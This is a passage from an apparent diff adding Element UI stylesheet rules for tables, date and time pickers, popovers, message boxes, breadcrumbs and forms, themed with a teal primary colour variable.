hidden; + z-index: 3 +} + +.el-table__body-wrapper, +.el-table__footer-wrapper, +.el-table__header-wrapper { + width: 100% +} + +.el-table__footer-wrapper { + margin-top: -1px +} + +.el-table__footer-wrapper td { + border-top: 1px solid #ebeef5 +} + +.el-table__body, +.el-table__footer, +.el-table__header { + table-layout: fixed; + border-collapse: separate +} + +.el-table__footer-wrapper, +.el-table__header-wrapper { + overflow: hidden +} + +.el-table__footer-wrapper tbody td, +.el-table__header-wrapper tbody td { + background-color: #f5f7fa; + color: #606266 +} + +.el-table__body-wrapper { + overflow: hidden; + position: relative +} + +.el-table__body-wrapper.is-scrolling-left~.el-table__fixed, +.el-table__body-wrapper.is-scrolling-none~.el-table__fixed, +.el-table__body-wrapper.is-scrolling-none~.el-table__fixed-right, +.el-table__body-wrapper.is-scrolling-right~.el-table__fixed-right { + -webkit-box-shadow: none; + box-shadow: none +} + +.el-picker-panel, +.el-table-filter { + -webkit-box-shadow: 0 2px 12px 0 rgba(0, 0, 0, .1) +} + +.el-table__body-wrapper .el-table--border.is-scrolling-right~.el-table__fixed-right { + border-left: 1px solid #ebeef5 +} + +.el-table .caret-wrapper { + display: -webkit-inline-box; + display: -ms-inline-flexbox; + display: inline-flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -ms-flex-direction: column; + flex-direction: column; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + height: 34px; + width: 24px; + vertical-align: middle; + cursor: pointer; + overflow: initial; + position: relative +} + +.el-table .sort-caret { + width: 0; + height: 0; + border: 5px solid transparent; + position: absolute; + left: 7px +} + +.el-table .sort-caret.ascending { + border-bottom-color: #c0c4cc; + top: 5px +} + +.el-table .sort-caret.descending { + border-top-color: #c0c4cc; + bottom: 7px +} + +.el-table .ascending .sort-caret.ascending { + border-bottom-color: var(--color-primary, #419488) +} + +.el-table .descending .sort-caret.descending { + border-top-color: var(--color-primary, #419488) +} + +.el-table .hidden-columns { + position: absolute; + z-index: -1 +} + +.el-table--striped .el-table__body tr.el-table__row--striped td { + background: #fafafa +} + +.el-table--striped .el-table__body tr.el-table__row--striped.current-row td { + background-color: #ecf5ff +} + +.el-table__body tr.hover-row.current-row>td, +.el-table__body tr.hover-row.el-table__row--striped.current-row>td, +.el-table__body tr.hover-row.el-table__row--striped>td, +.el-table__body tr.hover-row>td { + background-color: #f5f7fa +} + +.el-table__body tr.current-row>td { + background-color: #ecf5ff +} + +.el-table__column-resize-proxy { + position: absolute; + left: 200px; + top: 0; + bottom: 0; + width: 0; + border-left: 1px solid #ebeef5; + z-index: 10 +} + +.el-table__column-filter-trigger { + display: inline-block; + line-height: 34px; + cursor: pointer +} + +.el-table__column-filter-trigger i { + color: #909399; + font-size: 12px; + -webkit-transform: scale(.75); + transform: scale(.75) +} + +.el-table--enable-row-transition .el-table__body td { + -webkit-transition: background-color .25s ease; + transition: background-color .25s ease +} + +.el-table--enable-row-hover .el-table__body tr:hover>td { + background-color: #f5f7fa +} + +.el-table--fluid-height .el-table__fixed, +.el-table--fluid-height .el-table__fixed-right { + bottom: 0; + overflow: hidden +} + +.el-table [class*=el-table__row--level] .el-table__expand-icon { + display: inline-block; + width: 20px; + line-height: 20px; + height: 20px; + text-align: center; + margin-right: 3px +} + +.el-table-column--selection .cell { + padding-left: 14px; + padding-right: 14px +} + +.el-table-filter { + border: 1px solid #ebeef5; + border-radius: 2px; + background-color: #fff; + box-shadow: 0 2px 12px 0 rgba(0, 0, 0, .1); + -webkit-box-sizing: border-box; + box-sizing: border-box; + margin: 2px 0 +} + +.el-date-table td, +.el-date-table td div { + height: 30px; + -webkit-box-sizing: border-box +} + +.el-table-filter__list { + padding: 5px 0; + margin: 0; + list-style: none; + min-width: 100px +} + +.el-table-filter__list-item { + line-height: 36px; + padding: 0 10px; + cursor: pointer; + font-size: 14px +} + +.el-table-filter__list-item:hover { + background-color: #ecf5ff; + color: #66b1ff +} + +.el-table-filter__list-item.is-active { + background-color: var(--color-primary, #419488); + color: #fff +} + +.el-table-filter__content { + min-width: 100px +} + +.el-table-filter__bottom { + border-top: 1px solid #ebeef5; + padding: 8px +} + +.el-table-filter__bottom button { + background: 0 0; + border: none; + color: #606266; + cursor: pointer; + font-size: 13px; + padding: 0 3px +} + +.el-date-table td.in-range div, +.el-date-table td.in-range div:hover, +.el-date-table.is-week-mode .el-date-table__row.current div, +.el-date-table.is-week-mode .el-date-table__row:hover div { + background-color: #f2f6fc +} + +.el-table-filter__bottom button:hover { + color: var(--color-primary, #419488) +} + +.el-table-filter__bottom button:focus { + outline: 0 +} + +.el-table-filter__bottom button.is-disabled { + color: #c0c4cc; + cursor: not-allowed +} + +.el-table-filter__wrap { + max-height: 280px +} + +.el-table-filter__checkbox-group { + padding: 10px +} + +.el-table-filter__checkbox-group label.el-checkbox { + display: block; + margin-right: 5px; + margin-bottom: 8px; + margin-left: 5px +} + +.el-table-filter__checkbox-group .el-checkbox:last-child { + margin-bottom: 0 +} + +.el-date-table { + font-size: 12px; + -ms-user-select: none; + user-select: none +} + +.el-date-table.is-week-mode .el-date-table__row:hover td.available:hover { + color: #606266 +} + +.el-date-table.is-week-mode .el-date-table__row:hover td:first-child div { + margin-left: 5px; + border-top-left-radius: 15px; + border-bottom-left-radius: 15px +} + +.el-date-table.is-week-mode .el-date-table__row:hover td:last-child div { + margin-right: 5px; + border-top-right-radius: 15px; + border-bottom-right-radius: 15px +} + +.el-date-table td { + width: 32px; + padding: 4px 0; + box-sizing: border-box; + text-align: center; + cursor: pointer; + position: relative +} + +.el-date-table td div { + padding: 3px 0; + box-sizing: border-box +} + +.el-date-table td span { + width: 24px; + height: 24px; + display: block; + margin: 0 auto; + line-height: 24px; + position: absolute; + left: 50%; + -webkit-transform: translateX(-50%); + transform: translateX(-50%); + border-radius: 50% +} + +.el-date-table td.next-month, +.el-date-table td.prev-month { + color: #c0c4cc +} + +.el-date-table td.today { + position: relative +} + +.el-date-table td.today span { + color: var(--color-primary, #419488); + font-weight: 700 +} + +.el-date-table td.today.end-date span, +.el-date-table td.today.start-date span { + color: #fff +} + +.el-date-table td.available:hover { + color: var(--color-primary, #419488) +} + +.el-date-table td.current:not(.disabled) span { + color: #fff; + background-color: var(--color-primary, #419488) +} + +.el-date-table td.end-date div, +.el-date-table td.start-date div { + color: #fff +} + +.el-date-table td.end-date span, +.el-date-table td.start-date span { + background-color: var(--color-primary, #419488) +} + +.el-date-table td.start-date div { + margin-left: 5px; + border-top-left-radius: 15px; + border-bottom-left-radius: 15px +} + +.el-date-table td.end-date div { + margin-right: 5px; + border-top-right-radius: 15px; + border-bottom-right-radius: 15px +} + +.el-date-table td.disabled div { + background-color: #f5f7fa; + opacity: 1; + cursor: not-allowed; + color: #c0c4cc +} + +.el-date-table td.selected div { + margin-left: 5px; + margin-right: 5px; + background-color: #f2f6fc; + border-radius: 15px +} + +.el-date-table td.selected div:hover { + background-color: #f2f6fc +} + +.el-date-table td.selected span { + background-color: var(--color-primary, #419488); + color: #fff; + border-radius: 15px +} + +.el-date-table td.week { + font-size: 80%; + color: #606266 +} + +.el-month-table, +.el-year-table { + font-size: 12px; + border-collapse: collapse +} + +.el-date-table th { + padding: 5px; + color: #606266; + font-weight: 400; + border-bottom: solid 1px #ebeef5 +} + +.el-month-table { + margin: -1px +} + +.el-month-table td { + text-align: center; + padding: 8px 0; + cursor: pointer +} + +.el-month-table td div { + height: 48px; + padding: 6px 0; + -webkit-box-sizing: border-box; + box-sizing: border-box +} + +.el-month-table td.today .cell { + color: var(--color-primary, #419488); + font-weight: 700 +} + +.el-month-table td.today.end-date .cell, +.el-month-table td.today.start-date .cell { + color: #fff +} + +.el-month-table td.disabled .cell { + background-color: #f5f7fa; + cursor: not-allowed; + color: #c0c4cc +} + +.el-month-table td.disabled .cell:hover { + color: #c0c4cc +} + +.el-month-table td .cell { + width: 60px; + height: 36px; + display: block; + line-height: 36px; + color: #606266; + margin: 0 auto; + border-radius: 18px +} + +.el-month-table td .cell:hover { + color: var(--color-primary, #419488) +} + +.el-month-table td.in-range div, +.el-month-table td.in-range div:hover { + background-color: #f2f6fc +} + +.el-month-table td.end-date div, +.el-month-table td.start-date div { + color: #fff +} + +.el-month-table td.end-date .cell, +.el-month-table td.start-date .cell { + color: #fff; + background-color: var(--color-primary, #419488) +} + +.el-month-table td.start-date div { + border-top-left-radius: 24px; + border-bottom-left-radius: 24px +} + +.el-month-table td.end-date div { + border-top-right-radius: 24px; + border-bottom-right-radius: 24px +} + +.el-month-table td.current:not(.disabled) .cell { + color: var(--color-primary, #419488) +} + +.el-year-table { + margin: -1px +} + +.el-year-table .el-icon { + color: #303133 +} + +.el-year-table td { + text-align: center; + padding: 20px 3px; + cursor: pointer +} + +.el-year-table td.today .cell { + color: var(--color-primary, #419488); + font-weight: 700 +} + +.el-year-table td.disabled .cell { + background-color: #f5f7fa; + cursor: not-allowed; + color: #c0c4cc +} + +.el-year-table td.disabled .cell:hover { + color: #c0c4cc +} + +.el-year-table td .cell { + width: 48px; + height: 32px; + display: block; + line-height: 32px; + color: #606266; + margin: 0 auto +} + +.el-year-table td .cell:hover, +.el-year-table td.current:not(.disabled) .cell { + color: var(--color-primary, #419488) +} + +.el-date-range-picker { + width: 646px +} + +.el-date-range-picker.has-sidebar { + width: 756px +} + +.el-date-range-picker table { + table-layout: fixed; + width: 100% +} + +.el-date-range-picker .el-picker-panel__body { + min-width: 513px +} + +.el-date-range-picker .el-picker-panel__content { + margin: 0 +} + +.el-date-range-picker__header { + position: relative; + text-align: center; + height: 28px +} + +.el-date-range-picker__header [class*=arrow-left] { + float: left +} + +.el-date-range-picker__header [class*=arrow-right] { + float: right +} + +.el-date-range-picker__header div { + font-size: 16px; + font-weight: 500; + margin-right: 50px +} + +.el-date-range-picker__content { + float: left; + width: 50%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + margin: 0; + padding: 16px +} + +.el-date-range-picker__content.is-left { + border-right: 1px solid #e4e4e4 +} + +.el-date-range-picker__content .el-date-range-picker__header div { + margin-left: 50px; + margin-right: 50px +} + +.el-date-range-picker__editors-wrap { + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: table-cell +} + +.el-date-range-picker__editors-wrap.is-right { + text-align: right +} + +.el-date-range-picker__time-header { + position: relative; + border-bottom: 1px solid #e4e4e4; + font-size: 12px; + padding: 8px 5px 5px; + display: table; + width: 100%; + -webkit-box-sizing: border-box; + box-sizing: border-box +} + +.el-date-range-picker__time-header>.el-icon-arrow-right { + font-size: 20px; + vertical-align: middle; + display: table-cell; + color: #303133 +} + +.el-date-range-picker__time-picker-wrap { + position: relative; + display: table-cell; + padding: 0 5px +} + +.el-date-range-picker__time-picker-wrap .el-picker-panel { + position: absolute; + top: 13px; + right: 0; + z-index: 1; + background: #fff +} + +.el-date-picker { + width: 322px +} + +.el-date-picker.has-sidebar.has-time { + width: 434px +} + +.el-date-picker.has-sidebar { + width: 438px +} + +.el-date-picker.has-time .el-picker-panel__body-wrapper { + position: relative +} + +.el-date-picker .el-picker-panel__content { + width: 292px +} + +.el-date-picker table { + table-layout: fixed; + width: 100% +} + +.el-date-picker__editor-wrap { + position: relative; + display: table-cell; + padding: 0 5px +} + +.el-date-picker__time-header { + position: relative; + border-bottom: 1px solid #e4e4e4; + font-size: 12px; + padding: 8px 5px 5px; + display: table; + width: 100%; + -webkit-box-sizing: border-box; + box-sizing: border-box +} + +.el-date-picker__header { + margin: 12px; + text-align: center +} + +.el-date-picker__header--bordered { + margin-bottom: 0; + padding-bottom: 12px; + border-bottom: solid 1px #ebeef5 +} + +.el-date-picker__header--bordered+.el-picker-panel__content { + margin-top: 0 +} + +.el-date-picker__header-label { + font-size: 16px; + font-weight: 500; + padding: 0 5px; + line-height: 22px; + text-align: center; + cursor: pointer; + color: #606266 +} + +.el-date-picker__header-label.active, +.el-date-picker__header-label:hover { + color: var(--color-primary, #419488) +} + +.el-date-picker__prev-btn { + float: left +} + +.el-date-picker__next-btn { + float: right +} + +.el-date-picker__time-wrap { + padding: 10px; + text-align: center +} + +.el-date-picker__time-label { + float: left; + cursor: pointer; + line-height: 30px; + margin-left: 10px +} + +.time-select { + margin: 5px 0; + min-width: 0 +} + +.time-select .el-picker-panel__content { + max-height: 200px; + margin: 0 +} + +.time-select-item { + padding: 8px 10px; + font-size: 14px; + line-height: 20px +} + +.time-select-item.selected:not(.disabled) { + color: var(--color-primary, #419488); + font-weight: 700 +} + +.time-select-item.disabled { + color: #e4e7ed; + cursor: not-allowed +} + +.time-select-item:hover { + background-color: #f5f7fa; + font-weight: 700; + cursor: pointer +} + +.el-date-editor { + position: relative; + display: inline-block; + text-align: left +} + +.el-date-editor.el-input, +.el-date-editor.el-input__inner { + width: 220px +} + +.el-date-editor--monthrange.el-input, +.el-date-editor--monthrange.el-input__inner { + width: 300px +} + +.el-date-editor--daterange.el-input, +.el-date-editor--daterange.el-input__inner, +.el-date-editor--timerange.el-input, +.el-date-editor--timerange.el-input__inner { + width: 350px +} + +.el-date-editor--datetimerange.el-input, +.el-date-editor--datetimerange.el-input__inner { + width: 400px +} + +.el-date-editor--dates .el-input__inner { + text-overflow: ellipsis; + white-space: nowrap +} + +.el-date-editor .el-icon-circle-close { + cursor: pointer +} + +.el-date-editor .el-range__icon { + font-size: 14px; + margin-left: -5px; + color: #c0c4cc; + float: left; + line-height: 32px +} + +.el-date-editor .el-range-input, +.el-date-editor .el-range-separator { + height: 100%; + margin: 0; + text-align: center; + display: inline-block; + font-size: 14px +} + +.el-date-editor .el-range-input { + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + border: none; + outline: 0; + padding: 0; + width: 39%; + color: #606266 +} + +.el-date-editor .el-range-input::-webkit-input-placeholder { + color: #c0c4cc +} + +.el-date-editor .el-range-input:-ms-input-placeholder { + color: #c0c4cc +} + +.el-date-editor .el-range-input::-ms-input-placeholder { + color: #c0c4cc +} + +.el-date-editor .el-range-input::placeholder { + color: #c0c4cc +} + +.el-date-editor .el-range-separator { + padding: 0 5px; + line-height: 32px; + width: 5%; + color: #303133 +} + +.el-date-editor .el-range__close-icon { + font-size: 14px; + color: #c0c4cc; + width: 25px; + display: inline-block; + float: right; + line-height: 32px +} + +.el-range-editor.el-input__inner { + display: -webkit-inline-box; + display: -ms-inline-flexbox; + display: inline-flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + padding: 3px 10px +} + +.el-range-editor .el-range-input { + line-height: 1 +} + +.el-range-editor.is-active, +.el-range-editor.is-active:hover { + border-color: var(--color-primary, #419488) +} + +.el-range-editor--medium.el-input__inner { + height: 36px +} + +.el-range-editor--medium .el-range-separator { + line-height: 28px; + font-size: 14px +} + +.el-range-editor--medium .el-range-input { + font-size: 14px +} + +.el-range-editor--medium .el-range__close-icon, +.el-range-editor--medium .el-range__icon { + line-height: 28px +} + +.el-range-editor--small.el-input__inner { + height: 32px +} + +.el-range-editor--small .el-range-separator { + line-height: 24px; + font-size: 13px +} + +.el-range-editor--small .el-range-input { + font-size: 13px +} + +.el-range-editor--small .el-range__close-icon, +.el-range-editor--small .el-range__icon { + line-height: 24px +} + +.el-range-editor--mini.el-input__inner { + height: 28px +} + +.el-range-editor--mini .el-range-separator { + line-height: 20px; + font-size: 12px +} + +.el-range-editor--mini .el-range-input { + font-size: 12px +} + +.el-range-editor--mini .el-range__close-icon, +.el-range-editor--mini .el-range__icon { + line-height: 20px +} + +.el-range-editor.is-disabled { + background-color: #f5f7fa; + border-color: #e4e7ed; + color: #c0c4cc; + cursor: not-allowed +} + +.el-range-editor.is-disabled:focus, +.el-range-editor.is-disabled:hover { + border-color: #e4e7ed +} + +.el-range-editor.is-disabled input { + background-color: #f5f7fa; + color: #c0c4cc; + cursor: not-allowed +} + +.el-range-editor.is-disabled input::-webkit-input-placeholder { + color: #c0c4cc +} + +.el-range-editor.is-disabled input:-ms-input-placeholder { + color: #c0c4cc +} + +.el-range-editor.is-disabled input::-ms-input-placeholder { + color: #c0c4cc +} + +.el-range-editor.is-disabled input::placeholder { + color: #c0c4cc +} + +.el-range-editor.is-disabled .el-range-separator { + color: #c0c4cc +} + +.el-picker-panel { + color: #606266; + border: 1px solid #e4e7ed; + box-shadow: 0 2px 12px 0 rgba(0, 0, 0, .1); + background: #fff; + border-radius: 4px; + line-height: 30px; + margin: 5px 0 +} + +.el-popover, +.el-time-panel { + -webkit-box-shadow: 0 2px 12px 0 rgba(0, 0, 0, .1) +} + +.el-picker-panel__body-wrapper::after, +.el-picker-panel__body::after { + content: ""; + display: table; + clear: both +} + +.el-picker-panel__content { + position: relative; + margin: 15px +} + +.el-picker-panel__footer { + border-top: 1px solid #e4e4e4; + padding: 4px; + text-align: right; + background-color: #fff; + position: relative; + font-size: 0 +} + +.el-picker-panel__shortcut { + display: block; + width: 100%; + border: 0; + background-color: transparent; + line-height: 28px; + font-size: 14px; + color: #606266; + padding-left: 12px; + text-align: left; + outline: 0; + cursor: pointer +} + +.el-picker-panel__shortcut:hover { + color: var(--color-primary, #419488) +} + +.el-picker-panel__shortcut.active { + background-color: #e6f1fe; + color: var(--color-primary, #419488) +} + +.el-picker-panel__btn { + border: 1px solid #dcdcdc; + color: #333; + line-height: 24px; + border-radius: 2px; + padding: 0 20px; + cursor: pointer; + background-color: transparent; + outline: 0; + font-size: 12px +} + +.el-picker-panel__btn[disabled] { + color: #ccc; + cursor: not-allowed +} + +.el-picker-panel__icon-btn { + font-size: 12px; + color: #303133; + border: 0; + background: 0 0; + cursor: pointer; + outline: 0; + margin-top: 8px +} + +.el-picker-panel__icon-btn:hover { + color: var(--color-primary, #419488) +} + +.el-picker-panel__icon-btn.is-disabled { + color: #bbb +} + +.el-picker-panel__icon-btn.is-disabled:hover { + cursor: not-allowed +} + +.el-picker-panel__link-btn { + vertical-align: middle +} + +.el-picker-panel [slot=sidebar], +.el-picker-panel__sidebar { + position: absolute; + top: 0; + bottom: 0; + width: 110px; + border-right: 1px solid #e4e4e4; + -webkit-box-sizing: border-box; + box-sizing: border-box; + padding-top: 6px; + background-color: #fff; + overflow: auto +} + +.el-picker-panel [slot=sidebar]+.el-picker-panel__body, +.el-picker-panel__sidebar+.el-picker-panel__body { + margin-left: 110px +} + +.el-time-spinner.has-seconds .el-time-spinner__wrapper { + width: 33.3% +} + +.el-time-spinner__wrapper { + max-height: 190px; + overflow: auto; + display: inline-block; + width: 50%; + vertical-align: top; + position: relative +} + +.el-time-spinner__wrapper .el-scrollbar__wrap:not(.el-scrollbar__wrap--hidden-default) { + padding-bottom: 15px +} + +.el-time-spinner__input.el-input .el-input__inner, +.el-time-spinner__list { + padding: 0; + text-align: center +} + +.el-time-spinner__wrapper.is-arrow { + -webkit-box-sizing: border-box; + box-sizing: border-box; + text-align: center; + overflow: hidden +} + +.el-time-spinner__wrapper.is-arrow .el-time-spinner__list { + -webkit-transform: translateY(-32px); + transform: translateY(-32px) +} + +.el-time-spinner__wrapper.is-arrow .el-time-spinner__item:hover:not(.disabled):not(.active) { + background: #fff; + cursor: default +} + +.el-time-spinner__arrow { + font-size: 12px; + color: #909399; + position: absolute; + left: 0; + width: 100%; + z-index: 1; + text-align: center; + height: 30px; + line-height: 30px; + cursor: pointer +} + +.el-time-spinner__arrow:hover { + color: var(--color-primary, #419488) +} + +.el-time-spinner__arrow.el-icon-arrow-up { + top: 10px +} + +.el-time-spinner__arrow.el-icon-arrow-down { + bottom: 10px +} + +.el-time-spinner__input.el-input { + width: 70% +} + +.el-time-spinner__list { + margin: 0; + list-style: none +} + +.el-time-spinner__list::after, +.el-time-spinner__list::before { + content: ''; + display: block; + width: 100%; + height: 80px +} + +.el-time-spinner__item { + height: 32px; + line-height: 32px; + font-size: 12px; + color: #606266 +} + +.el-time-spinner__item:hover:not(.disabled):not(.active) { + background: #f5f7fa; + cursor: pointer +} + +.el-time-spinner__item.active:not(.disabled) { + color: #303133; + font-weight: 700 +} + +.el-time-spinner__item.disabled { + color: #c0c4cc; + cursor: not-allowed +} + +.el-time-panel { + margin: 5px 0; + border: 1px solid #e4e7ed; + background-color: #fff; + box-shadow: 0 2px 12px 0 rgba(0, 0, 0, .1); + border-radius: 2px; + position: absolute; + width: 180px; + left: 0; + z-index: 1000; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; + -webkit-box-sizing: content-box; + box-sizing: content-box +} + +.el-slider__button, +.el-slider__button-wrapper { + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none +} + +.el-time-panel__content { + font-size: 0; + position: relative; + overflow: hidden +} + +.el-time-panel__content::after, +.el-time-panel__content::before { + content: ""; + top: 50%; + position: absolute; + margin-top: -15px; + height: 32px; + z-index: -1; + left: 0; + right: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; + padding-top: 6px; + text-align: left; + border-top: 1px solid #e4e7ed; + border-bottom: 1px solid #e4e7ed +} + +.el-time-panel__content::after { + left: 50%; + margin-left: 12%; + margin-right: 12% +} + +.el-time-panel__content::before { + padding-left: 50%; + margin-right: 12%; + margin-left: 12% +} + +.el-time-panel__content.has-seconds::after { + left: calc(100% / 3 * 2) +} + +.el-time-panel__content.has-seconds::before { + padding-left: calc(100% / 3) +} + +.el-time-panel__footer { + border-top: 1px solid #e4e4e4; + padding: 4px; + height: 36px; + line-height: 25px; + text-align: right; + -webkit-box-sizing: border-box; + box-sizing: border-box +} + +.el-time-panel__btn { + border: none; + line-height: 28px; + padding: 0 5px; + margin: 0 5px; + cursor: pointer; + background-color: transparent; + outline: 0; + font-size: 12px; + color: #303133 +} + +.el-time-panel__btn.confirm { + font-weight: 800; + color: var(--color-primary, #419488) +} + +.el-time-range-picker { + width: 354px; + overflow: visible +} + +.el-time-range-picker__content { + position: relative; + text-align: center; + padding: 10px +} + +.el-time-range-picker__cell { + -webkit-box-sizing: border-box; + box-sizing: border-box; + margin: 0; + padding: 4px 7px 7px; + width: 50%; + display: inline-block +} + +.el-time-range-picker__header { + margin-bottom: 5px; + text-align: center; + font-size: 14px +} + +.el-time-range-picker__body { + border-radius: 2px; + border: 1px solid #e4e7ed +} + +.el-popover { + position: absolute; + background: #fff; + min-width: 150px; + border: 1px solid #ebeef5; + padding: 12px; + z-index: 2000; + color: #606266; + line-height: 1.4; + text-align: justify; + font-size: 14px; + box-shadow: 0 2px 12px 0 rgba(0, 0, 0, .1); + word-break: break-all +} + +.el-popover--plain { + padding: 18px 20px +} + +.el-popover__title { + color: #303133; + font-size: 16px; + line-height: 1; + margin-bottom: 12px +} + +.v-modal-enter { + -webkit-animation: v-modal-in .2s ease; + animation: v-modal-in .2s ease +} + +.v-modal-leave { + -webkit-animation: v-modal-out .2s ease forwards; + animation: v-modal-out .2s ease forwards +} + +@keyframes v-modal-in { + 0% { + opacity: 0 + } +} + +@keyframes v-modal-out { + 100% { + opacity: 0 + } +} + +.v-modal { + position: fixed; + left: 0; + top: 0; + width: 100%; + height: 100%; + opacity: .5; + background: #000 +} + +.el-popup-parent--hidden { + overflow: hidden +} + +.el-message-box { + display: inline-block; + width: 420px; + padding-bottom: 10px; + vertical-align: middle; + background-color: #fff; + border-radius: 4px; + border: 1px solid #ebeef5; + font-size: 18px; + -webkit-box-shadow: 0 2px 12px 0 rgba(0, 0, 0, .1); + box-shadow: 0 2px 12px 0 rgba(0, 0, 0, .1); + text-align: left; + overflow: hidden; + -webkit-backface-visibility: hidden; + backface-visibility: hidden +} + +.el-message-box__wrapper { + position: fixed; + top: 0; + bottom: 0; + left: 0; + right: 0; + text-align: center +} + +.el-message-box__wrapper::after { + content: ""; + display: inline-block; + height: 100%; + width: 0; + vertical-align: middle +} + +.el-message-box__header { + position: relative; + padding: 15px 15px 10px +} + +.el-message-box__title { + padding-left: 0; + margin-bottom: 0; + font-size: 18px; + line-height: 1; + color: #303133 +} + +.el-message-box__headerbtn { + position: absolute; + top: 15px; + right: 15px; + padding: 0; + border: none; + outline: 0; + background: 0 0; + font-size: 16px; + cursor: pointer +} + +.el-form-item.is-error .el-input__inner, +.el-form-item.is-error .el-input__inner:focus, +.el-form-item.is-error .el-textarea__inner, +.el-form-item.is-error .el-textarea__inner:focus, +.el-message-box__input input.invalid, +.el-message-box__input input.invalid:focus { + border-color: #f56c6c +} + +.el-message-box__headerbtn .el-message-box__close { + color: #909399 +} + +.el-message-box__headerbtn:focus .el-message-box__close, +.el-message-box__headerbtn:hover .el-message-box__close { + color: var(--color-primary, #419488) +} + +.el-message-box__content { + padding: 10px 15px; + color: #606266; + font-size: 14px +} + +.el-message-box__container { + position: relative +} + +.el-message-box__input { + padding-top: 15px +} + +.el-message-box__status { + position: absolute; + top: 50%; + -webkit-transform: translateY(-50%); + transform: translateY(-50%); + font-size: 24px !important +} + +.el-message-box__status::before { + padding-left: 1px +} + +.el-message-box__status+.el-message-box__message { + padding-left: 36px; + padding-right: 12px +} + +.el-message-box__status.el-icon-success { + color: #67c23a +} + +.el-message-box__status.el-icon-info { + color: #909399 +} + +.el-message-box__status.el-icon-warning { + color: #e6a23c +} + +.el-message-box__status.el-icon-error { + color: #f56c6c +} + +.el-message-box__message { + margin: 0 +} + +.el-message-box__message p { + margin: 0; + line-height: 24px +} + +.el-message-box__errormsg { + color: #f56c6c; + font-size: 12px; + min-height: 18px; + margin-top: 2px +} + +.el-message-box__btns { + padding: 5px 15px 0; + text-align: right +} + +.el-message-box__btns button:nth-child(2) { + margin-left: 10px +} + +.el-message-box__btns-reverse { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse +} + +.el-message-box--center { + padding-bottom: 30px +} + +.el-message-box--center .el-message-box__header { + padding-top: 30px +} + +.el-message-box--center .el-message-box__title { + position: relative; + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center +} + +.el-message-box--center .el-message-box__status { + position: relative; + top: auto; + padding-right: 5px; + text-align: center; + -webkit-transform: translateY(-1px); + transform: translateY(-1px) +} + +.el-message-box--center .el-message-box__message { + margin-left: 0 +} + +.el-message-box--center .el-message-box__btns, +.el-message-box--center .el-message-box__content { + text-align: center +} + +.el-message-box--center .el-message-box__content { + padding-left: 27px; + padding-right: 27px +} + +.msgbox-fade-enter-active { + -webkit-animation: msgbox-fade-in .3s; + animation: msgbox-fade-in .3s +} + +.msgbox-fade-leave-active { + -webkit-animation: msgbox-fade-out .3s; + animation: msgbox-fade-out .3s +} + +@-webkit-keyframes msgbox-fade-in { + 0% { + -webkit-transform: translate3d(0, -20px, 0); + transform: translate3d(0, -20px, 0); + opacity: 0 + } + 100% { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + opacity: 1 + } +} + +@keyframes msgbox-fade-in { + 0% { + -webkit-transform: translate3d(0, -20px, 0); + transform: translate3d(0, -20px, 0); + opacity: 0 + } + 100% { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + opacity: 1 + } +} + +@-webkit-keyframes msgbox-fade-out { + 0% { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + opacity: 1 + } + 100% { + -webkit-transform: translate3d(0, -20px, 0); + transform: translate3d(0, -20px, 0); + opacity: 0 + } +} + +@keyframes msgbox-fade-out { + 0% { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + opacity: 1 + } + 100% { + -webkit-transform: translate3d(0, -20px, 0); + transform: translate3d(0, -20px, 0); + opacity: 0 + } +} + +.el-breadcrumb { + font-size: 14px; + line-height: 1 +} + +.el-breadcrumb::after, +.el-breadcrumb::before { + display: table; + content: "" +} + +.el-breadcrumb::after { + clear: both +} + +.el-breadcrumb__separator { + margin: 0 9px; + font-weight: 700; + color: #c0c4cc +} + +.el-breadcrumb__separator[class*=icon] { + margin: 0 6px; + font-weight: 400 +} + +.el-breadcrumb__item { + float: left +} + +.el-breadcrumb__inner { + color: #606266 +} + +.el-breadcrumb__inner a, +.el-breadcrumb__inner.is-link { + font-weight: 700; + text-decoration: none; + -webkit-transition: color .2s cubic-bezier(.645, .045, .355, 1); + transition: color .2s cubic-bezier(.645, .045, .355, 1); + color: #303133 +} + +.el-breadcrumb__inner a:hover, +.el-breadcrumb__inner.is-link:hover { + color: var(--color-primary, #419488); + cursor: pointer +} + +.el-breadcrumb__item:last-child .el-breadcrumb__inner, +.el-breadcrumb__item:last-child .el-breadcrumb__inner a, +.el-breadcrumb__item:last-child .el-breadcrumb__inner a:hover, +.el-breadcrumb__item:last-child .el-breadcrumb__inner:hover { + font-weight: 400; + color: #606266; + cursor: text +} + +.el-breadcrumb__item:last-child .el-breadcrumb__separator { + display: none +} + +.el-form--label-left .el-form-item__label { + text-align: left +} + +.el-form--label-top .el-form-item__label { + float: none; + display: inline-block; + text-align: left; + padding: 0 0 10px +} + +.el-form--inline .el-form-item { + display: inline-block; + margin-right: 10px; + vertical-align: top +} + +.el-form--inline .el-form-item__label { + float: none; + display: inline-block +} + +.el-form--inline .el-form-item__content { + display: inline-block; + vertical-align: top +} + +.el-form--inline.el-form--label-top .el-form-item__content { + display: block +} + +.el-form-item { + margin-bottom: 22px +} + +.el-form-item::after, +.el-form-item::before { + display: table; + content: "" +} + +.el-form-item::after { + clear: both +} + +.el-form-item .el-form-item { + margin-bottom: 0 +} + +.el-form-item--mini.el-form-item, +.el-form-item--small.el-form-item { + margin-bottom: 18px +} + +.el-form-item .el-input__validateIcon { + display: none +} + +.el-form-item--medium .el-form-item__content, +.el-form-item--medium .el-form-item__label { + line-height: 36px +} + +.el-form-item--small .el-form-item__content, +.el-form-item--small .el-form-item__label { + line-height: 32px +} + +.el-form-item--small .el-form-item__error { + padding-top: 2px 